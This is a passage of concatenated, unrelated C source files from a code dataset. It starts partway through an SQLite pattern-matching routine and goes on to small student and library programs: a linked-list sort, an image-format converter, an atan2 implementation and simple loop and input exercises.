c2 = sqlite3Utf8Read(&zPattern);
}
while( c2 && c2!=']' ){
if( c2=='-' && zPattern[0]!=']' && zPattern[0]!=0 && prior_c>0 ){
c2 = sqlite3Utf8Read(&zPattern);
if( c>=prior_c && c<=c2 ) seen = 1;
prior_c = 0;
}else{
if( c==c2 ){
seen = 1;
}
prior_c = c2;
}
c2 = sqlite3Utf8Read(&zPattern);
}
if( c2==0 || (seen ^ invert)==0 ){
return SQLITE_NOMATCH;
}
continue;
}
}
c2 = Utf8Read(zString);
if( c==c2 ) continue;
if( noCase && sqlite3Tolower(c)==sqlite3Tolower(c2) && c<0x80 && c2<0x80 ){
continue;
}
if( c==matchOne && zPattern!=zEscaped && c2!=0 ) continue;
return SQLITE_NOMATCH;
}
return *zString==0 ? SQLITE_MATCH : SQLITE_NOMATCH;
}
|
the_stack_data/44614.c
|
#include <stdio.h>
#include <stdlib.h>
int main( int argc, char *argv[] )
{
printf( "Hello another world in feature-one.\n" );
printf( "on Master branch.\n" );
printf( "branch-push-merge.\n" );
printf( "branch-push-merge part2.\n" );
return EXIT_SUCCESS;
}
|
the_stack_data/54824200.c
|
#include <stdio.h>
#include <stdlib.h>
struct ListNode {
int val;
struct ListNode *next;
};
struct ListNode* merge(struct ListNode *left, struct ListNode *right) {
if (left == NULL) return right;
if (right == NULL) return left;
struct ListNode *ans = NULL;
struct ListNode **p = &ans;
while (left && right) {
if (left->val <= right->val) {
*p = left;
p = &((*p)->next);
left = left->next;
}
else {
*p = right;
p = &((*p)->next);
right = right->next;
}
}
if (left) {
*p = left;
}
else if (right) {
*p = right;
}
return ans;
}
struct ListNode* sortList(struct ListNode* head) {
if (head == NULL) return NULL;
if (head->next == NULL) return head;
struct ListNode *p = head;
int len = 0;
while (p) {
len++;
p = p->next;
}
struct ListNode *mid = head;
struct ListNode *prev = NULL;
int i = len / 2;
while (i--) {
prev = mid;
mid = mid->next;
}
prev->next = NULL;
struct ListNode *left = sortList(head);
struct ListNode *right = sortList(mid);
return merge(left, right);
}
int main() {
struct ListNode *head = (struct ListNode *)calloc(5, sizeof(struct ListNode));
struct ListNode **p = &head;
int i;
for (i = 0; i < 5; i++) {
(*p)->val = 5 - i;
(*p)->next = *p + 1;
p = &((*p)->next);
}
*p = NULL;
printf("List: ");
struct ListNode *q = head;
while (q != NULL) {
printf("%d->", q->val);
q = q->next;
}
printf("N\n");
struct ListNode *ret = sortList(head);
printf("Sort result: ");
q = ret;
while (q != NULL) {
printf("%d->", q->val);
q = q->next;
}
printf("N\n");
return 0;
}
|
the_stack_data/792797.c
|
//// _git source mask md5:05972d38ac659a24498f1b1d2366f6e6 ////
//////// /////////
/// //////////
//
/// //
/////////// ////
/////// / ////
////////////
//
|
the_stack_data/29825082.c
|
unsigned char img[]={// border,bg,chars,colors
0,6,
32,224,224,224,224,224,101,32,32,32,32,233,224,223,233,223,32,32,233,224,224,224,
233,224,224,224,224,105,32,32,32,32,32,224,224,224,224,224,101,32,95,224,224,224,
95,224,224,224,105,32,32,32,32,32,233,224,224,224,224,105,32,32,32,251,105,32,
32,251,105,32,32,32,32,32,32,32,95,224,224,224,105,32,32,32,32,32,32,32,
32,32,32,32,32,32,32,32,32,32,32,251,105,32,32,32,32,32,32,32,32,32,
32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,
32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,32,
111,32,32,32,32,32,32,32,32,32,32,32,32,32,111,32,32,32,32,32,32,32,
224,223,233,223,32,32,32,32,32,32,32,233,223,233,224,223,32,32,32,32,32,32,
224,224,224,224,101,32,32,32,32,32,233,224,224,224,224,224,32,32,32,32,32,32,
224,224,224,105,32,32,32,32,32,32,95,224,224,224,224,224,32,32,100,100,100,32,
32,32,32,32,32,32,32,32,32,32,32,32,95,224,224,105,32,32,77,89,78,32,
32,32,32,32,32,32,32,32,32,32,32,32,32,251,105,32,32,32,32,231,116,32,
233,223,233,224,223,32,32,32,32,32,32,32,32,32,32,32,32,233,223,231,116,32,
224,224,224,224,224,223,32,32,32,32,32,32,32,32,233,223,233,224,224,231,116,32,
224,224,228,210,198,192,195,197,227,105,32,101,95,227,197,196,195,192,198,210,228,224,
197,227,224,210,192,196,227,224,105,32,32,32,32,95,227,196,192,210,224,224,224,227,
192,196,227,224,224,224,224,105,32,32,32,101,32,32,95,224,224,224,227,196,192,210,
224,224,224,224,224,224,105,32,32,32,32,101,32,32,32,95,224,224,224,224,224,224,
224,224,224,224,224,105,32,32,32,32,32,32,32,32,32,32,95,224,224,224,224,224,
224,224,224,224,105,32,32,32,32,32,32,32,32,32,32,32,32,95,224,224,224,224,
224,224,224,105,32,32,32,32,32,32,32,101,32,32,32,32,32,32,95,224,224,224,
224,224,105,32,32,32,32,32,32,32,32,101,32,32,32,32,32,32,32,95,224,224,
7,1,1,1,1,1,1,7,7,7,7,1,1,1,1,1,7,7,1,1,1,1,
1,1,1,1,1,1,7,7,7,7,7,1,1,1,1,1,1,7,1,1,1,1,
1,1,1,1,1,7,7,7,7,7,1,1,1,1,1,1,7,7,7,1,1,7,
7,1,1,7,7,7,7,7,7,7,1,1,1,1,1,7,7,7,7,7,7,7,
7,7,7,7,7,7,7,7,7,7,7,1,1,7,7,7,7,7,7,7,7,7,
7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,
7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,
1,7,7,7,7,7,7,7,7,7,7,7,7,7,1,7,7,7,7,7,7,7,
1,1,1,1,7,7,7,7,7,7,7,1,1,1,1,1,7,7,7,7,7,7,
1,1,1,1,1,7,7,7,7,7,1,1,1,1,1,1,7,7,7,7,7,7,
1,1,1,1,7,7,7,7,7,7,1,1,1,1,1,1,7,7,7,7,7,7,
7,7,7,7,7,7,7,7,7,7,7,7,1,1,1,1,7,7,7,7,7,7,
7,7,7,7,7,7,7,7,7,7,7,7,7,1,1,7,7,7,7,7,7,7,
0,0,0,0,0,0,7,7,7,7,7,7,7,7,7,7,7,0,0,7,7,7,
0,0,0,0,0,0,5,5,5,5,7,7,7,5,0,0,0,0,0,7,7,5,
5,5,5,5,5,5,5,5,5,5,7,1,5,5,5,5,5,5,5,5,5,5,
5,5,5,5,5,5,5,5,5,5,7,1,5,5,5,5,5,5,5,5,5,5,
5,5,5,5,5,5,5,5,5,5,7,1,5,5,5,5,5,5,5,5,5,5,
5,5,5,5,5,5,5,5,5,5,7,1,5,5,5,5,5,5,5,5,5,5,
5,5,5,5,5,5,5,5,5,5,7,1,5,5,5,5,5,5,5,5,5,5,
5,5,5,5,5,5,5,5,5,5,7,1,5,5,5,5,5,5,5,5,5,5,
5,5,5,5,5,5,5,5,5,5,7,1,5,5,5,5,5,5,5,5,5,5,
5,5,5,5,5,5,5,5,7,7,7,1,7,5,5,5,5,5,5,5,5,5
};
|
the_stack_data/193893154.c
|
#include <stdio.h>
int main()
{
int n;
printf("Enter n --> ");
scanf("%d", &n);
for ( ; n > 0 ; n--)
printf("Hello\n");
int n_times, upto_n, s1, s2, s3, s4, s5, s6;
s1 = s3 = s4 = s6 = 0;
s2 = s5 = 1;
printf("Enter times --> ");
scanf("%d", &n_times);
printf("Enter upto --> ");
scanf("%d", &upto_n);
for ( ; n_times > 0 ; n_times--)
{
s1 += n_times;
s2 += 5 * (n_times - 1);
s3 += pow(2, n_times);
}
for (int i = 11; i <= upto_n; i++)
s4 += i;
for (int i = 5; i <= upto_n; i += 5)
s5 += i;
for (int i = 2; i <= upto_n; i *= 2)
s6 += i;
printf("\nS = 1+2+3... N times = %d S = 11+12+13... upto N = %d", s1, s4);
printf("\nS = 1+5+10+15... N times = %d S = 1+5+10+15... upto N = %d", s2, s5);
printf("\nS = 2+4+8... N times = %d S = 2+4+8... upto N = %d\n", s3, s6);
}
|
the_stack_data/12639068.c
|
#include <stdarg.h>
#include <stdio.h>
int
add_em_up (int count,...)
{
va_list ap;
int i, sum;
va_start (ap, count); /* Initialize the argument list. */
sum = 0;
for (i = 0; i < count; i++)
sum += va_arg (ap, int); /* Get the next argument value. */
va_end (ap); /* Clean up. */
return sum;
}
int
main (void)
{
/* This call prints 16. */
printf ("%d\n", add_em_up (3, 5, 5, 6));
/* This call prints 55. */
printf ("%d\n", add_em_up (10, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10));
return 0;
}
|
the_stack_data/152161.c
|
/* Convert an image in rgb565: 5 bits red, 6 bits blue, 5 bits green */
/* to argb8888 format: (8 bits for red,green,blue,opacity) */
/* Written for the course on IoT at the University of Cape Coast, Ghana */
/* Copyright: U. Raich */
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
int main(int argc, char ** argv){
FILE *infile,*outfile;
char *outfileName;
char *filenameRest;
unsigned char red,green,blue;
unsigned char *inbuf,*outbuf,*inbufPtr,*outbufPtr;
int fileSize,i;
if (argc != 2) {
printf("Usage: %s filename width height\n",argv[0]);
exit(-1);
}
outfileName = malloc(strlen(argv[1])+2);
strcpy(outfileName,argv[1]);
if ((filenameRest=strstr(outfileName,"_rgb565.bin")) == NULL) {
printf("File must be named xxx_rgb565.bin");
exit(-1);
}
printf("filename base: %s\n",filenameRest);
strcpy(filenameRest,"_argb8888.bin");
printf("Output file name: %s\n",outfileName);
infile = fopen(argv[1],"r");
if (infile == NULL) {
printf("Could not open %s\n",argv[1]);
exit(-1);
}
fseek(infile, 0L, SEEK_END);
fileSize = ftell(infile);
printf("file size: %d\n",fileSize);
rewind(infile);
inbuf = malloc(fileSize);
outbuf = malloc(fileSize*2);
fread(inbuf, fileSize, 1, infile);
fclose(infile);
for (i=0; i<16;i++)
printf("0x%02x ",inbuf[i]);
printf("\n");
inbufPtr = inbuf;
outbufPtr = outbuf;
for (i=0;i<fileSize;i+=2) {
red = *inbufPtr++;
// printf("col high: %02x\n",red);
green = (red & 7) << 5;
blue = *inbufPtr++;
// printf("col low: %02x\n",blue);
green |= (blue & 0xe0)>> 3;
green |= 3;
red |= 7;
blue = (blue << 3) | 7;
// printf("red: %02x, green: %02x, blue: %02x\n",red,green,blue);
*outbufPtr++ = blue; // the color
*outbufPtr++ = green;
*outbufPtr++ = red;
*outbufPtr++ = 0xff; // cover
}
outfile = fopen(outfileName,"w");
if (outfile == NULL) {
printf("Could not open %s for writing",outfileName);
exit(-1);
}
fwrite(outbuf, fileSize*2, 1, outfile);
fclose(outfile);
}
|
the_stack_data/34512961.c
|
#include <stdio.h>
int main(){
int n, anos, meses, dias;
printf("\nDigite a idade em dias:");
scanf("%d",&n);
anos = n/365;
meses = (n%365)/30;
dias = (n%365) % 30;
printf("%d ano(s)\n",anos);
printf("%d mes(es)\n",meses);
printf("%d dia(s)\n",dias);
return 0;
}
|
the_stack_data/1265097.c
|
#include <stdio.h>
int main() {
double a, b, c;
scanf("%lf %lf %lf", &a, &b, &c);
printf("TRIANGULO: %.3lf\n", (a*c/2));
printf("CIRCULO: %.3lf\n", 3.14159*c*c);
printf("TRAPEZIO: %.3lf\n", (a+b)*c/2);
printf("QUADRADO: %.3lf\n", b*b);
printf("RETANGULO: %.3lf\n", a*b);
}
|
the_stack_data/532083.c
|
#include <stdio.h>
int main() {
printf("dcba");
return 0;
}
|
the_stack_data/54825188.c
|
/*
* POK header
*
* The following file is a part of the POK project. Any modification should
* made according to the POK licence. You CANNOT use this file or a part of
* this file is this part of a file for your own project
*
* For more information on the POK licence, please see our LICENCE FILE
*
* Please follow the coding guidelines described in doc/CODING_GUIDELINES
*
* Copyright (c) 2007-2009 POK team
*
* Created by julien on Fri Jan 30 14:41:34 2009
*/
/* @(#)e_atan2.c 5.1 93/09/24 */
/*
* ====================================================
* Copyright (C) 1993 by Sun Microsystems, Inc. All rights reserved.
*
* Developed at SunPro, a Sun Microsystems, Inc. business.
* Permission to use, copy, modify, and distribute this
* software is freely granted, provided that this notice
* is preserved.
* ====================================================
*/
/* __ieee754_atan2(y,x)
* Method :
* 1. Reduce y to positive by atan2(y,x)=-atan2(-y,x).
* 2. Reduce x to positive by (if x and y are unexceptional):
* ARG (x+iy) = arctan(y/x) ... if x > 0,
* ARG (x+iy) = pi - arctan[y/(-x)] ... if x < 0,
*
* Special cases:
*
* ATAN2((anything), NaN ) is NaN;
* ATAN2(NAN , (anything) ) is NaN;
* ATAN2(+-0, +(anything but NaN)) is +-0 ;
* ATAN2(+-0, -(anything but NaN)) is +-pi ;
* ATAN2(+-(anything but 0 and NaN), 0) is +-pi/2;
* ATAN2(+-(anything but INF and NaN), +INF) is +-0 ;
* ATAN2(+-(anything but INF and NaN), -INF) is +-pi;
* ATAN2(+-INF,+INF ) is +-pi/4 ;
* ATAN2(+-INF,-INF ) is +-3pi/4;
* ATAN2(+-INF, (anything but,0,NaN, and INF)) is +-pi/2;
*
* Constants:
* The hexadecimal values are the intended ones for the following
* constants. The decimal values may be used, provided that the
* compiler will convert from decimal to binary accurately enough
* to produce the hexadecimal values shown.
*/
#ifdef POK_NEEDS_LIBMATH
#include <libm.h>
#include "math_private.h"
static const double
tiny = 1.0e-300,
zero = 0.0,
pi_o_4 = 7.8539816339744827900E-01, /* 0x3FE921FB, 0x54442D18 */
pi_o_2 = 1.5707963267948965580E+00, /* 0x3FF921FB, 0x54442D18 */
pi = 3.1415926535897931160E+00, /* 0x400921FB, 0x54442D18 */
pi_lo = 1.2246467991473531772E-16; /* 0x3CA1A626, 0x33145C07 */
double
__ieee754_atan2(double y, double x)
{
double z;
int32_t k,m,hx,hy,ix,iy;
uint32_t lx,ly;
EXTRACT_WORDS(hx,lx,x);
ix = hx&0x7fffffff;
EXTRACT_WORDS(hy,ly,y);
iy = hy&0x7fffffff;
if(((ix|((lx|-lx)>>31))>0x7ff00000)||
((iy|((ly|-ly)>>31))>0x7ff00000)) /* x or y is NaN */
return x+y;
if(((hx-0x3ff00000)|lx)==0) return atan(y); /* x=1.0 */
m = ((hy>>31)&1)|((hx>>30)&2); /* 2*sign(x)+sign(y) */
/* when y = 0 */
if((iy|ly)==0) {
switch(m) {
case 0:
case 1: return y; /* atan(+-0,+anything)=+-0 */
case 2: return pi+tiny;/* atan(+0,-anything) = pi */
case 3: return -pi-tiny;/* atan(-0,-anything) =-pi */
}
}
/* when x = 0 */
if((ix|lx)==0) return (hy<0)? -pi_o_2-tiny: pi_o_2+tiny;
/* when x is INF */
if(ix==0x7ff00000) {
if(iy==0x7ff00000) {
switch(m) {
case 0: return pi_o_4+tiny;/* atan(+INF,+INF) */
case 1: return -pi_o_4-tiny;/* atan(-INF,+INF) */
case 2: return 3.0*pi_o_4+tiny;/*atan(+INF,-INF)*/
case 3: return -3.0*pi_o_4-tiny;/*atan(-INF,-INF)*/
}
} else {
switch(m) {
case 0: return zero ; /* atan(+...,+INF) */
case 1: return -zero ; /* atan(-...,+INF) */
case 2: return pi+tiny ; /* atan(+...,-INF) */
case 3: return -pi-tiny ; /* atan(-...,-INF) */
}
}
}
/* when y is INF */
if(iy==0x7ff00000) return (hy<0)? -pi_o_2-tiny: pi_o_2+tiny;
/* compute y/x */
k = (iy-ix)>>20;
if(k > 60) z=pi_o_2+0.5*pi_lo; /* |y/x| > 2**60 */
else if(hx<0&&k<-60) z=0.0; /* |y|/x < -2**60 */
else z=atan(fabs(y/x)); /* safe to do y/x */
switch (m) {
case 0: return z ; /* atan(+,+) */
case 1: {
uint32_t zh;
GET_HIGH_WORD(zh,z);
SET_HIGH_WORD(z,zh ^ 0x80000000);
}
return z ; /* atan(-,+) */
case 2: return pi-(z-pi_lo);/* atan(+,-) */
default: /* case 3 */
return (z-pi_lo)-pi;/* atan(-,-) */
}
}
#endif
|
the_stack_data/70451277.c
|
#include<stdio.h>
int main()
{ int n,i;
printf("enter the size of array\n");
scanf("%d",&n);
int a[n];
printf("Enter the array elements\n");
for(i=0;i<n;++i)
{ scanf("%d",&a[i]);
}
int sum=0;
for(i=0;i<n;++i)
{ sum=sum+a[i];
}
for(i=0;i<n;++i)
{ printf("%d\t",(sum-a[i]));
}
return 0;
}
|
the_stack_data/31049.c
|
#include <stdio.h>
#define LOGIC_ERROR 2
#define INPUT_ERROR 1
#define OK 0
#define MIN_SIZE 1
#define MAX_N 10
#define MAX_M 10
int get_matrix(int a[MAX_N][MAX_M], int *const n, int *const m)
{
printf("Input row's number:\n ");
if (scanf("%d", n) != 1 || MIN_SIZE > *n || MAX_N < *n)
return INPUT_ERROR;
printf("Input column's number:\n ");
if (scanf("%d", m) != 1 || MIN_SIZE > *m || MAX_N < *m)
return INPUT_ERROR;
printf("Input elements of matrix:\n");
for (int i = 0; i < *n; i++)
for (int j = 0; j < *m; j++)
if (scanf("%d", &a[i][j]) != 1)
return INPUT_ERROR;
return OK;
}
void x_row_swap(int a[MAX_N][MAX_M], int n, int m)
{
for (int i = 0; i < (n + 1) / 2; i++)
for (int j = i; j < m - i; j++)
{
int temp = a[i][j];
a[i][j] = a[n - i - 1][j];
a[n - i - 1][j] = temp;
}
}
void print_matrtix(const int a[MAX_N][MAX_M], int n, int m)
{
for (int i = 0; i < n; i++)
{
for (int j = 0; j < m; j++)
printf("%d ", a[i][j]);
printf("\n");
}
}
int main(void)
{
int matrix[MAX_N][MAX_N];
int n, m;
if (get_matrix(matrix, &n, &m) != OK)
{
printf("Input error found\n");
return INPUT_ERROR;
}
if (n != m)
{
printf("The matrix must be square\n");
return LOGIC_ERROR;
}
x_row_swap(matrix, n, m);
printf("\n");
print_matrtix((const int (*)[MAX_N]) matrix, n, m);
return OK;
}
|
the_stack_data/58983.c
|
#include <stdio.h>
typedef union {
short int x;
float y;
} tipo;
void main () {
tipo t;
t.y = 42.22;
printf("%i\n", t.x);
}
|
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.